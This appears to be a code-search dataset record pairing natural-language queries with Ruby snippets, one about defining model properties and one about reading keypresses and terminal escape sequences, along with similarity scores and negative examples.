[ "0.7479079", "0.72656107", "0.6811067", "0.6689487", "0.6653435", "0.66466427", "0.6522379", "0.63429296", "0.6305174", "0.6287751", "0.62832165", "0.6280898", "0.6262042", "0.61046004", "0.6096559", "0.605428", "0.60249424", "0.60212934", "0.59925574", "0.59812355", "0.59708834", "0.5970384", "0.58844876", "0.58486533", "0.58248407", "0.5816413", "0.57875913", "0.57756245", "0.5769118", "0.5753011", "0.5749989", "0.57480085", "0.57452637", "0.5727151", "0.57267094", "0.57141364", "0.5673006", "0.5669779", "0.566399", "0.5656042", "0.56538874", "0.56464225", "0.5639105", "0.5632294", "0.55618674", "0.555394", "0.5533113", "0.5529836", "0.55281866", "0.5526794", "0.550942", "0.5508463", "0.54954135", "0.54903954", "0.5488692", "0.54566", "0.5453393", "0.54515135", "0.54474413", "0.544677", "0.5442422", "0.5426489", "0.5381656", "0.53676844", "0.5330899", "0.53234744", "0.5306785", "0.5305886", "0.53017586", "0.5278166", "0.5249952", "0.52430856", "0.52430856", "0.52381915", "0.52288616", "0.5207647", "0.5206184", "0.5198759", "0.5196789", "0.5196728", "0.51910806", "0.5188557", "0.5175863", "0.51712984", "0.51675576", "0.51635414", "0.515828", "0.51470923", "0.51375383", "0.5136087", "0.51331574", "0.5130863", "0.51187986", "0.51186776", "0.5116981", "0.5106824", "0.51047117", "0.5084273", "0.50736946", "0.5069873", "0.50656927" ]
0.0
-1
Defines a property on the class See active_attr gem for allowed options, e.g which type Notice, in Neo4j you don't have to declare properties before using them, see the neo4jcore api.
def property(name, options = {}) invalid_option_keys = options.keys.map(&:to_sym) - VALID_PROPERTY_OPTIONS fail ArgumentError, "Invalid options for property `#{name}` on `#{self.name}`: #{invalid_option_keys.join(', ')}" if invalid_option_keys.any? build_property(name, options) do |prop| attribute(prop) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def define_property(name, options={})\n # check if this property is going to casted\n options[:casted] = !!(options[:cast_as] || options[:type])\n property = CouchRest::Property.new(name, (options.delete(:cast_as) || options.delete(:type)), options)\n create_property_getter(property) \n create_property_setter(property) unless property.read_only == true\n properties << property\n end", "def property(name, opts = {})\n define_property name, String, opts\n end", "def property(name); end", "def property_type(**options)\n Property.derive(**options)\n end", "def attribute(*args, **opt)\n add_single_property(*args, **opt)\n end", "def property property\n\t\tret = '@property '\n\n\t\tcase property.type\n\t\twhen 'int' then ret << '(nonatomic) int '\n\t\twhen 'bool' then ret << '(nonatomic) BOOL '\n\t\twhen 'flt' then ret << '(nonatomic) float '\n\t\twhen 'str' then ret << '(strong, nonatomic) NSString * '\n\t\twhen 'arr' then ret << '(strong, nonatomic) NSArray * '\n\t\twhen 'dict' then ret << '(strong, nonatomic) NSDictionary * '\n\t\telse\n\t\t\t#fallthrough: a custom object was provided\n\t\t\tret << \"(strong, nonatomic) #{property.type} * \"\n\t\tend\n\n\t\tret << property.name << \";\\n\"\n\t\tret\n\tend", "def property(name, property_class = nil)\n property_coercions[name.to_sym] = property_class\n accessor_name = Contentful::Management::Support.snakify(name)\n define_method accessor_name do\n properties[name.to_sym]\n end\n define_method \"#{accessor_name}=\" do |value|\n properties[name.to_sym] = value\n end\n end", "def property(property_name, options = T.unsafe(nil)); end", "def property(property_name, options = T.unsafe(nil)); end", "def property\n @property\n end", "def initialize(property)\n @property = property\n end", "def property(key, opts={})\n case opts \n when Hash\n opts.merge!({:persistent=>true})\n else\n opts = {:persistent=>true}\n end\n def_attribute(key.to_sym, opts)\n end", "def property(name, options = {})\n attr_accessor name\n (@properties ||= {})[name] = options\n end", "def []=(prop)\n set_property(prop)\n end", "def attribute(name, *args, **opt)\n add_single_property(name, *args, **opt)\n end", "def intersys_property(name)\n Property.new(database, class_name, name.to_s, self)\n end", "def create_property_setter(property)\n property_name = property.name\n class_eval <<-EOS\n def #{property_name}=(value)\n self['#{property_name}'] = value\n cast_property_by_name('#{property_name}')\n end\n EOS\n\n if property.alias\n class_eval <<-EOS\n alias #{property.alias.to_sym}= #{property_name.to_sym}=\n EOS\n end\n end", "def add_property(property, options={})\n return send_message(SkyDB::Message::AddProperty.new(property, options))\n end", "def assign_property(name, value); end", "def property(name, options = {})\n _property_options[name] = options\n # @!method [name] a getter for the property\n define_method(name) do\n _register_observer\n if @properties[:id]\n if @changed_properties.has_key?(name)\n @changed_properties[name]\n else\n @properties[name]\n end\n else\n # record has not been fetched or is new and not yet saved\n if @properties[name].nil?\n # TODO move default to initializer?\n if self.class._property_options[name].has_key?(:default)\n self.class._property_options[name][:default]\n elsif self.class._property_options[name].has_key?(:type)\n HyperRecord::DummyValue.new(self.class._property_options[name][:type])\n else\n HyperRecord::DummyValue.new(NilClass)\n end\n else\n @properties[name]\n end\n end\n end\n # @!method [name]= a setter for the property\n # @param value the new value for the property\n define_method(\"#{name}=\") do |value|\n _register_observer\n @changed_properties[name] = value\n end\n end", "def defProperty(name = :mandatory, description = nil, parameter = nil, options = {})\n opts = {:description => description, :cmd => parameter}\n # Map old OMF5 types to OMF6\n options[:type] = 'Numeric' if options[:type] == :integer\n options[:type] = 'String' if options[:type] == :string\n options[:type] = 'Boolean' if options[:type] == :boolean\n opts = opts.merge(options)\n define_parameter(Hash[name,opts])\n end", "def property(name, default=0, &block)\n define_db_property(name, default, &block)\n end", "def property(name, opts={}, &block)\n raise ArgumentError, \"#{name} is a keyword and not an acceptable property name.\" if protected_property_name? name\n reflection = PropertyBuilder.build(self, name, opts, &block)\n Reflection.add_reflection self, name, reflection\n end", "def add_property(property)\n (@attributes['properties'] ||=[]) << property\n self\n end", "def define_attr_accessor(attr)\n attr_accessor(attr)\n end", "def set_Property(value)\n set_input(\"Property\", value)\n end", "def add_property(name, default = nil)\n add_property_default(name, default)\n attr_accessor(name)\n end", "def property(name, options = {})\n set_default_options(name, options)\n super(name, options)\n end", "def property(name, value)\n @resource.set_property name, value\n end", "def properties\n decorate_with_methods(read_attribute(:properties))\n end", "def set_property(*args)\n return unless alive?\n\n command \"set_property\", *args\n end", "def defProperty(name, defaultValue, description)\n Experiment.defProperty(name, defaultValue, description)\n end", "def properties\n super\n end", "def add_property(name)\n Compass::Configuration::ATTRIBUTES.push(name)\n inherited_accessor(name)\n end", "def set_property(name, value)\n # let Resource handle DAV properties\n if name[:ns_href] == DAV_NAMESPACE\n super\n else\n set_custom_props name, value\n end\n end", "def property(*props)\n if props.size == 2 and props[1].kind_of?(Hash)\n props[1].each_pair do |key,value|\n pname = props[0].to_sym\n properties_info[pname] ||= {}\n properties_info[pname][key] = value\n end\n props = props[0..0]\n end\n\n props.each do |prop|\n pname = prop.to_sym\n properties_info[pname] ||= {}\n properties_info[pname][:defined] = true\n \n define_method(pname) do\n get_property(pname.to_s)\n end\n\n name = (pname.to_s() +\"=\").to_sym\n define_method(name) do |value|\n set_property(pname.to_s, value)\n end\n end\n end", "def initialize(name, value = nil, description = nil)\n super(\"property.#{name}\")\n @name = name.to_s\n @description = description\n @bindings = Array.new\n @changeListeners = Array.new\n @id = \"ep_#{name}\"\n state = {'id' => @id, 'description' => description}\n TraceState.property(name.to_s, :new, state)\n set(value)\n end", "def initialize(name, value = nil, description = nil)\n super(\"property.#{name}\")\n @name = name.to_s\n @description = description\n @bindings = Array.new\n @changeListeners = Array.new\n @id = \"ep_#{name}\"\n state = {'id' => @id, 'description' => description}\n TraceState.property(name.to_s, :new, state)\n set(value)\n end", "def property(key, value)\n @properties_from_attributes[key.to_sym] = value\n end", "def create_localised_property_setter(property)\n property_name = property.name\n class_eval <<-EOS\n def #{property_name}=(value)\n write_localised_attribute('#{property_name}', value)\n end\n EOS\n end", "def add_property(x)\n x = Property.create(x)\n safe_add_edge(x, x.opposite, :provable_false)\n safe_add_edge(x.opposite, x, :provable_false)\n safe_add_edge(x, x, :provable_true)\n safe_add_edge(x.opposite, x.opposite, :provable_true)\n x\n end", "def make_property(property, method)\n define_method(method) do\n self[property]\n end\n end", "def add_property(name, value)\n TableProperty.new(name, value).tap do |property|\n @properties[name] = property\n end\n end", "def add_property(prop)\n @properties.push(prop)\n end", "def add_property(name, default = nil)\n self.add_property_default(name, default)\n attr_accessor(name)\n end", "def new\n @property = Property.new\n end", "def new\n @property = Property.new\n end", "def define_db_property(name, default=0, &block)\n add_property PropertyDefinition.new(name, default, false, &block)\n end", "def set_property\n @property = Property.friendly.find(params[:id])\n end", "def set_property\n @property = Property.all\n end", "def properties; end", "def properties; end", "def properties; end", "def properties; end", "def properties; end", "def properties; end", "def properties; end", "def properties; end", "def property(key, value)\n if @current_attribute.properties.key?(key.to_sym)\n raise \"attribute #{key} already defined\"\n end\n state_depth_must_be(States::ATTRIBUTE)\n @current_attribute.properties[key.to_sym] = value\n end", "def property(css_attr, *args)\n @properties[-1] << \"#{css_attr}: #{args.join(' ')};\"\n end", "def property(css_attr, *args)\n @properties[-1] << \"#{css_attr}: #{args.join(' ')};\"\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def set_property\n @property = Property.find(params[:id])\n end", "def _property(p_name)\n __t_stringish(p_name)\n _jinja.properties[__attribute_key(p_name)]\n end", "def create_property_method\n @resource.class.properties.each do |type|\n name = type.name\n self.class.send(:define_method, name) do\n get_value(name)\n end\n self.class.send(:define_method, \"#{name}=\") do |value|\n set_value(name,resource[name])\n end\n end\n end", "def add_property(property)\n @properties ||= []\n @properties << property\n end", "def set_property(name, value)\n $NEO_LOGGER.debug{\"set property '#{name}'='#{value}'\"} \n old_value = get_property(name)\n\n if value.nil?\n remove_property(name)\n elsif self.class.marshal?(name)\n @internal_node.set_property(name, Marshal.dump(value).to_java_bytes)\n else\n @internal_node.set_property(name, value)\n end\n\n if (name != 'classname') # do not want events on internal properties\n event = PropertyChangedEvent.new(self, name.to_sym, old_value, value)\n self.class.fire_event(event)\n end\n end", "def set_property( name, value )\n ( @properties ||= Hash.new )[ name ] = value\n end", "def relationship_set_property id, name, value\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n\n put_request 'relationship/' + id + '/properties/' + name, value, headers\n end", "def add_property(sym, type, multi)\n unless multi\n @klass.class_eval do\n attr_reader sym\n\n # Setter\n define_method \"#{sym}=\" do |value|\n if type < SDL::Types::SDLSimpleType\n instance_variable_set \"@#{sym}\".to_s, type.new(value)\n else\n instance_variable_set \"@#{sym}\".to_s, value\n end\n end\n end\n else\n # Define accessor method for lists\n @klass.class_eval do\n define_method sym do\n eval \"@#{sym} ||= []\"\n end\n end\n end\n\n @klass.properties << SDL::Base::Property.new(sym, type, @klass, multi)\n end", "def set_property(attribute, value)\n `var el=this.__native__,attr=attribute.__value__,bool=c$Element.__boolean_attributes__[attr],key=c$Element.__boolean_attributes__[attr]||bool`\n `key ? el[key]=bool?$T(value):value : el.setAttribute(attr,''+value)`\n return self\n end", "def define_attribute(name, reference = false)\n self.class_eval(\"def #{name};@#{name};end\")\n if reference\n self.class_eval(\"def #{name}=(val);@#{name}=Lobbyist::V2::#{name.camelize}.new(val);end\")\n else\n self.class_eval(\"def #{name}=(val);@#{name}=val;end\")\n end\n end", "def property(*props)\n if props.size == 2 and props[1].kind_of?(Hash)\n props[1].each_pair do |key, value|\n pname = props[0].to_sym\n properties_info[pname] ||= {}\n properties_info[pname][key] = value\n end\n props = props[0..0]\n end\n\n props.each do |prop|\n pname = prop.to_sym\n properties_info[pname] ||= {}\n properties_info[pname][:defined] = true\n\n define_method(pname) do\n self[pname]\n end\n\n name = (pname.to_s() +\"=\").to_sym\n define_method(name) do |value|\n self[pname] = value\n end\n end\n end", "def create_property(uuid, opts = {})\n data, _status_code, _headers = create_property_with_http_info(uuid, opts)\n data\n end", "def link_property(name, cls, &block)\n add_property ProxyProperty.new(name, cls, false, &block)\n end", "def install_attr(attr)\n #Add reader/writer\n inner = code_attr(attr)\n estr = \"class Qml::#{@class}\\n #{inner}\\n end\"\n eval(estr, nil, attr.file, attr.line)\n @cache_load << [:accessor, @class, inner]\n\n name = attr[2]\n\n if(!Special.include? name)\n @init += \"Qml::prop_add(self, #{name.inspect})\\n\"\n end\n end", "def set_property\n @property = current_client.properties.find(params[:id])\n end" ]
[ "0.69129276", "0.68325984", "0.67294145", "0.6689274", "0.66746354", "0.6592311", "0.659212", "0.65770894", "0.65770894", "0.6516001", "0.6458364", "0.6383337", "0.6347126", "0.6341483", "0.6312778", "0.62948406", "0.6286025", "0.6173045", "0.6136639", "0.6128448", "0.61275876", "0.6099836", "0.6075424", "0.6068633", "0.60450107", "0.6002733", "0.59875184", "0.5977274", "0.59741044", "0.5963612", "0.596137", "0.59599066", "0.5949113", "0.59464973", "0.5941874", "0.59375596", "0.59242165", "0.59242165", "0.5923777", "0.5920135", "0.59152275", "0.59146315", "0.5912092", "0.5907712", "0.58741444", "0.585902", "0.585902", "0.58549833", "0.58245426", "0.58102226", "0.578997", "0.578997", "0.578997", "0.578997", "0.578997", "0.578997", "0.578997", "0.578997", "0.5788602", "0.57820606", "0.57820606", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763501", "0.5763384", "0.57406986", "0.5738144", "0.572686", "0.5724821", "0.57215685", "0.57209873", "0.57163846", "0.5712323", "0.57117844", "0.5704171", "0.5693101", "0.56898504", "0.565459" ]
0.5842526
48
Reads keypresses from the user including 2 and 3 escape character sequences.
def read_char STDIN.echo = false STDIN.raw! input = STDIN.getc.chr if input == "\e" then input << STDIN.read_nonblock(3) rescue nil input << STDIN.read_nonblock(2) rescue nil end ensure STDIN.echo = true STDIN.cooked! return input end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_pressed\n if STDIN.ready?\n input = STDIN.read_nonblock(1) rescue nil\n if input == \"\\e\" \n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n end\n # STDIN.cooked!\n input\n\nend", "def pressKey\n STDIN.echo = false\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n return input\nend", "def input\n if raw_mode?\n keys = console.getch\n if keys.ord == 27\n keys << console.read_nonblock(3) rescue nil\n keys << console.read_nonblock(2) rescue nil\n end\n keys\n\n else\n console.gets.chomp\n\n end\n end", "def receive_input\n input = ''\n controls = %w(a s d w)\n until controls.include?(input)\n input = STDIN.getch\n abort 'escaped' if input == \"\\e\"\n end\n input\n end", "def read_keypress(options = {})\n opts = { echo: false, raw: true }.merge(options)\n codes = unbufferred { get_codes(opts) }\n char = codes ? codes.pack('U*') : nil\n\n trigger_key_event(char) if char\n char\n end", "def read_single_key\n c = read_char\n\n case c\n\n when \"\\r\"\n return \"RETURN\"\n when \"\\e\"\n return \"SAVE\"\n when \"\\e[A\"\n return \"w\"\n when \"\\e[B\"\n return \"s\"\n when \"\\e[C\"\n return \"d\"\n when \"\\e[D\"\n return \"a\"\n\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n else\n return \"SOMETHING ELSE: #{c.inspect}\"\n end\n end", "def read_char &block\n STDIN.noecho do\n # as long as the block doen't return falsy,\n # read the user input key and sned it to the block\n while block.( IOHelper.get_char )\n end\n end\n end", "def rl_read_key()\r\n @rl_key_sequence_length+=1\r\n\r\n if (@rl_pending_input!=0)\r\n c = @rl_pending_input\r\n rl_clear_pending_input()\r\n else\r\n # If the user has an event function, then call it periodically.\r\n if (@rl_event_hook)\r\n while (@rl_event_hook && (c=rl_get_char()).nil?)\r\n\r\n send(@rl_event_hook)\r\n if (@rl_done) # XXX - experimental\r\n return (\"\\n\")\r\n end\r\n if (rl_gather_tyi() < 0) # XXX - EIO\r\n @rl_done = true\r\n return (\"\\n\")\r\n end\r\n end\r\n\r\n else\r\n\r\n if (c=rl_get_char()).nil?\r\n c = send(@rl_getc_function,@rl_instream)\r\n end\r\n end\r\n end\r\n\r\n return (c)\r\n end", "def get_keyboard_input\n c = read_char\n\n case c\n # when \" \"\n # \"SPACE\"\n # when \"\\t\"\n # :query\n when \"\\r\"\n :error\n # when \"\\n\"\n # \"LINE FEED\"\n when \"\\e\"\n :abort\n # when \"\\e[A\"\n # \"UP ARROW\"\n # :error\n # when \"\\e[B\"\n # \"DOWN ARROW\"\n # :error\n when \"\\e[C\"\n \"RIGHT ARROW\"\n :right\n when \"\\e[D\"\n \"LEFT ARROW\"\n :left\n when \"\\177\"\n :backspace\n when \"\\004\"\n :delete\n when \"\\e[3~\"\n :delete\n # when \"\\u0003\"\n # \"CONTROL-C\"\n # exit 0\n when /^.$/\n c\n else\n :error\n end\n end", "def read_char()\n STDIN.getch()\nend", "def read_char\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n c = STDIN.getc.chr\n # gather next two characters of special keys\n if(c==\"\\e\")\n extra_thread = Thread.new{\n c = c + STDIN.getc.chr\n c = c + STDIN.getc.chr\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00001)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n rescue => ex\n puts \"#{ex.class}: #{ex.message}\"\n puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return c\nend", "def readkey\n system('stty raw -echo') # => Raw mode, no echo\n c = (STDIN.read_nonblock(1).ord rescue nil)\n system('stty -raw echo') # => Reset terminal mode\n c\nend", "def get_key_down(char)\n STDIN.echo = false\n STDIN.raw!\n begin\n #reads input without blocking the thread\n #returns a string of pressed keys\n input = STDIN.read_nonblock(3)\n #check if the key was pressed\n if(input.include? char)\n return true\n end\n return false\n rescue Errno::EAGAIN\n return false\n end\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n exit(1) if input == \"\\u0003\"\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.cooked!\n STDIN.echo = true\n \n\n return input\nend", "def read\n @window.getch\n end", "def read_char\n STDIN.echo = false\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n input\n ensure\n STDIN.echo = true\n STDIN.cooked!\n end", "def read_user_char\n char = nil\n # Don't read keyboard more than x times per second\n time = Time.new\n if !@prev_time || time - @prev_time >= 0.25\n @prev_time = time\n begin\n system('stty raw -echo') # => Raw mode, no echo\n char = (STDIN.read_nonblock(1) rescue nil)\n ensure\n system('stty -raw echo') # => Reset terminal mode\n end\n end\n char\n end", "def read_char\n\tSTDIN.echo = false\n\tSTDIN.raw!\n\tinput = STDIN.getc.chr\n\tif input == \"\\e\" then\n \tinput << STDIN.read_nonblock(3) rescue nil\n \tinput << STDIN.read_nonblock(2) rescue nil\n \tend\nensure\n \tSTDIN.echo = true\n \tSTDIN.cooked!\n \treturn input\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n begin\n input = STDIN.read_nonblock(1)\n if input == \"\\e\"\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n rescue\n retry\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\nend", "def read\n Vedeu.log(type: :input, message: \"Waiting for user input...\\n\")\n\n if raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif fake_mode?\n @key ||= keypress\n\n if @key.nil?\n nil\n\n elsif click?(@key)\n Vedeu.trigger(:_mouse_event_, @key)\n\n elsif Vedeu::Input::Mapper.registered?(@key, name)\n Vedeu.trigger(:_keypress_, @key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, @key)\n\n else\n Vedeu.trigger(:key, @key)\n\n end\n\n elsif cooked_mode?\n Vedeu.trigger(:_command_, command)\n\n end\n end", "def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end", "def read_char\n STDIN.echo = false\n STDIN.raw!\n \n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n \n return input\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n \n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n \n return input\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n \n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n \n return input\nend", "def read_char\n\tSTDIN.echo = false\n\tSTDIN.raw!\n\tinput = STDIN.getc.chr\n\tif input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n return input\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end", "def key_press\n x = $stdin.getch\n x += handle_esc if x == \"\\e\"\n\n x\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end", "def get_char\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system 'stty raw -echo'\n char = STDIN.getc.chr\n # gather next two characters of special keys\n if char == \"\\e\"\n char << STDIN.read_nonblock(3) rescue nil\n char << STDIN.read_nonblock(2) rescue nil\n end\n\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n\n key = IOChar.char_to_key(char)\n\n if key == 'ctrl-c' or key == 'ctrl-d'\n raise Interrupt\n end\n\n char\n end", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\nend", "def read\n if click?(keypress)\n Vedeu.trigger(:_mouse_event_, keypress)\n\n elsif reader.raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif reader.fake_mode?\n name = Vedeu.focus\n interface = Vedeu.interfaces.by_name(name)\n key = keypress\n\n if Vedeu::Input::Mapper.registered?(key, name)\n Vedeu.trigger(:_keypress_, key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, key)\n\n else\n Vedeu.trigger(:key, key)\n\n end\n else\n Vedeu.trigger(:_command_, command)\n\n end\n end", "def show_single_key\nc = read_char\ncase c\nwhen \" \"\nreturn \"SPACE\"\nwhen \"\\t\"\nreturn \"TAB\"\nwhen \"\\r\"\nreturn \"RETURN\"\nwhen \"\\n\"\nreturn \"LINE FEED\"\nwhen \"\\e\"\nreturn \"ESCAPE\"\nwhen \"\\e[A\"\nreturn \"UP ARROW\"\nwhen \"\\e[B\"\nreturn \"DOWN ARROW\"\nwhen \"\\e[C\"\nreturn \"RIGHT ARROW\"\nwhen \"\\e[D\"\nreturn \"LEFT ARROW\"\nwhen \"\\177\"\nreturn \"BACKSPACE\"\nwhen \"\\004\"\nreturn \"DELETE\"\nwhen \"\\e[3~\"\nreturn \"ALTERNATE DELETE\"\nwhen \"\\u0003\"\nreturn \"CONTROL-C\"\nexit 0\nwhen /^.$/\nreturn \"SINGLE CHAR HIT: #{c.inspect}\"\nelse\nreturn \"SOMETHING ELSE: #{c.inspect}\"\nend\nend", "def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\"\n begin\n input << STDIN.read_nonblock(3)\n rescue StandardError\n nil\n end\n begin\n input << STDIN.read_nonblock(2)\n rescue StandardError\n nil\n end\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end", "def getch\n return nil if eos?\n\n do_scan(/./u, true, true, true)\n end", "def getchar\n @key_reader.getchar\n end", "def waitForKeyPress\n print 'Press any key to continue'\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n\n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts 'Got interrupt key, quitting'\n exit 1\n end\nend", "def waitForKeyPress\n print \"Press any key to continue\"\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n \n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts \"Got interrupt key, quitting\"\n exit 1\n end\nend", "def input\n keys = Vedeu::Input::Raw.read\n\n if click?(keys)\n Vedeu::Input::Mouse.click(keys)\n\n else\n keys\n\n end\n end", "def get_char\n system('stty raw -echo 2>/dev/null') # turn raw input on\n c = nil\n # if $stdin.ready?\n c = $stdin.getc\n cn = c.ord\n return 'ENTER' if cn == 10 || cn == 13\n return 'BACKSPACE' if cn == 127\n return 'C-SPACE' if cn == 0\n return 'SPACE' if cn == 32\n # next does not seem to work, you need to bind C-i\n return 'TAB' if cn == 8\n\n if cn >= 0 && cn < 27\n x = cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff = c.chr\n loop do\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n # puts \"got #{k}\"\n buff += k.chr\n else\n x = @kh[buff]\n return x if x\n\n # puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n # end\n return c.chr if c\nensure\n # system('stty -raw echo 2>/dev/null') # turn raw input on\n # 2019-03-29 - echo was causing printing of arrow key code on screen\n # if moving fast\n system('stty -raw 2>/dev/null') # turn raw input on\nend", "def getKey\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n# key = STDIN.getc.chr\n key = STDIN.getbyte\n # gather next two characters of special keys\n if(key == \"\\e\")\n extra_thread = Thread.new{\n# key << STDIN.getc.chr\n# key << STDIN.getc.chr\n key << STDIN.getbyte\n key << STDIN.getbyte\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00010)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n# rescue => ex\n# puts \"#{ex.class}: #{ex.message}\"\n# puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return key\nend", "def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when 